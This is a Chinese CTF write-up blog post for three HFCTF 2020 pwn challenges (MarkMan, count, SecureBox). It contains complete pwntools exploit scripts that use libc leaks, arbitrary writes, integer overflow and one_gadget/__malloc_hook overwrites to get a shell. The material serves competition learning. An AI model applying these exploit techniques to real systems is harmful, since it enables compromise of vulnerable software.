目录
  1. 1. MarkMan
    1. 1.1. exp
  2. 2. count
    1. 2.1. exp
  3. 3. SecureBox
HFCTF pwn witeup

虎符2020的线上赛部分Pwn题WP,忘记报名了,只能靠其他师傅要题

MarkMan

这个题耗费了太多时间,程序给了puts函数地址,存在一个任意地址写三字节,任意地址尝试了很多地方,刚开始想往stack上写未果,又往dlopen_dlfcn_hook 上写未果,最终在exit函数会调用_rtld_global结构中的_dl_rtld_lock_recursive或者_dl_rtld_unlock_recursive处改写成功 ,并且因为_dl_rtld_lock_recursive指向的内容距离 libc.address过大,修改后三字节只会有几率成功

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
#context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
while True:
try:
p = process('./chall')
#p=remote('39.97.210.182',10055)
elf=ELF('./chall')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('libc.so.6')
one = [0x4f2c5, 0x4f322, 0x10a38c]
#gdb.attach(p,"b *$rebase(0xcbc)\nb *$rebase(0xcc1)\nb *$rebase(0xd63)\n")

p.recvuntil("target near: 0x")
leak=int(p.recv(12),16)

libc.address = leak - libc.sym["puts"]
success('leak => {0}'.format(hex(leak)))
success('libc_address => {0}'.format(hex(libc.address)))

dlfcn_hook=libc.address+(0x15555532d0a0-0x155554d60000)
dl_rtld_lock_recursive=libc.address+(0x7f8a645fbf60-0x7f8a63dde000)
success('dl_rtld_lock_recursive => {0}'.format(hex(dl_rtld_lock_recursive)))
success('dlfcn_hook => {0}'.format(hex(dlfcn_hook)))
p.sendline(str(int(dl_rtld_lock_recursive)))

payload=libc.address+one[1]
info(hex(payload))
yi=payload&0xff
er=(payload&0xffff)>>8
san=(payload&0xffffff)>>16
info(hex(yi))
info(hex(er))
info(hex(san))
p.recvuntil('biang!\n')
p.sendline(p8(yi))
p.recvuntil('biang!\n')
p.sendline(p8(er))
p.recvuntil('biang!\n')
p.sendline(p8(san))
p.sendline("cat flag*")
con=p.recv()
if "flag" in con:
print con
break

except Exception as e:
pass
p.close()

count

arm aarch64架构的题,搭建好qemu环境即可调试,题目很简单,不需要本地调试,直接利用IDA F5查看伪C代码即可写EXP
200次输入正确结果,利用python里面的eval函数即可自动计算结果,然后通过覆盖目标变量的值即可getshell

本地运行需要安装所需要的库 ,搜索aarch64的交叉编译的库

1
2
3
4
5
6
7
8
9
10
➜  sudo apt-cache search aarch64
cpp-5-aarch64-linux-gnu - GNU C preprocessor
cpp-aarch64-linux-gnu - GNU C preprocessor (cpp) for the arm64 architecture
g++-5-aarch64-linux-gnu - GNU C++ 编译器
g++-aarch64-linux-gnu - GNU C++ compiler for the arm64 architecture
gcc-5-aarch64-linux-gnu - GNU C 编译器
gcc-5-aarch64-linux-gnu-base - GCC, the GNU Compiler Collection (base package)
gcc-aarch64-linux-gnu - GNU C compiler for the arm64 architecture
binutils-aarch64-linux-gnu - GNU binary utilities, for aarch64-linux-gnu target
qemu-system-arm - QEMU full system emulation binaries (arm)

安装所需要的库

1
sudo apt-get install gcc-5-aarch64-linux-gnu gcc-aarch64-linux-gnu

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
import sys
#context.log_level = "debug"

if sys.argv[1] == "r":
p = remote('39.97.210.182','40285')
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "pwn"])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "pwn"])
#os.system("gdb -q -ex 'target remote localhost:1234' ")

#pause()
for i in range(200) :
p. recvuntil("~Math: ")
data = p.recvuntil(" = ")[:-3]
answer = eval(data)
p. sendline(str(answer))
payload= 'a'*0x64+p64(0x12235612)
p. sendline(payload)
p. interactive()

SecureBox

申请空间的函数,在判断size是否大于0xFFF的时候变量强制转化成了int类型,则有整型溢出,又当申请一个很大的空间的时候,由于空间肯定不够,最终不会申请,对应的指针位置为0,则此刻有了一个超大的size,以及指针以0为初始位置,即可实现任意写,最后将接受到的key值逆序与需要写的内容异或,通过enc函数则可往目标地址写上所需写的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*
from LD import*
def new(size,sign = 0):
p.sendlineafter('Exit','1')
p.sendlineafter('Size: ',str(size))
if sign:
return
p.recvuntil('Key: \n')

def free(idx):
p.sendlineafter('Exit','2')
p.sendlineafter('ID: ',str(idx))

def enc(idx,off,content):
p.sendlineafter('Exit','3')
p.sendlineafter('ID: ',str(idx))
p.sendlineafter('Offset of msg: ',str(off))
p.sendlineafter('Len of msg: ','16')
p.sendafter('Msg: ',content)

def leak(idx):
p.sendlineafter('Exit','4')
p.sendlineafter('Box ID: ',str(idx))
p.sendlineafter('Offset of msg: ','0')
p.sendlineafter('Len of msg: ','8')
p.recvuntil('Msg: \n')

libc = ELF('./libc-2.30.so',checksec=False)
p = process('./main')
context.log_level ='DEBUG'
new(0x500)
new(0x200)
free(0)
new(0x500)
leak(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x60 - 0x10 - libc.sym['__malloc_hook']
log.info('LIBC:\t' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = [0xCB79A,0xCB79D,0xCB7A0,0xE926B, 0xE9277] #Kali 2.30
rce = libc_base + one_gadget[3]
realloc = libc_base + libc.sym['realloc']
new(0x7FFFFFFF00000000+0xFF0)
rand_1 =p.recv(24).replace(' ','')
rand_2 =p.recv(24).replace(' ','')
randq_1 = ''
randq_2 = ''
for i in range(15,-1,-2):
randq_1 += (rand_1[i-1] + rand_1[i])
randq_2 += (rand_2[i-1] + rand_2[i])
rceq = (int(randq_1,16) ^ rce)&0xFFFFFFFFFFFFFFFF
reallocq = (int(randq_2,16) ^ realloc)&0xFFFFFFFFFFFFFFFF
enc(2,str(malloc_hook-8),p64(rceq) + p64(reallocq))
new(0x200,sign=1)
p.interactive()
文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/04/20/HFCTF-pwn-witeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝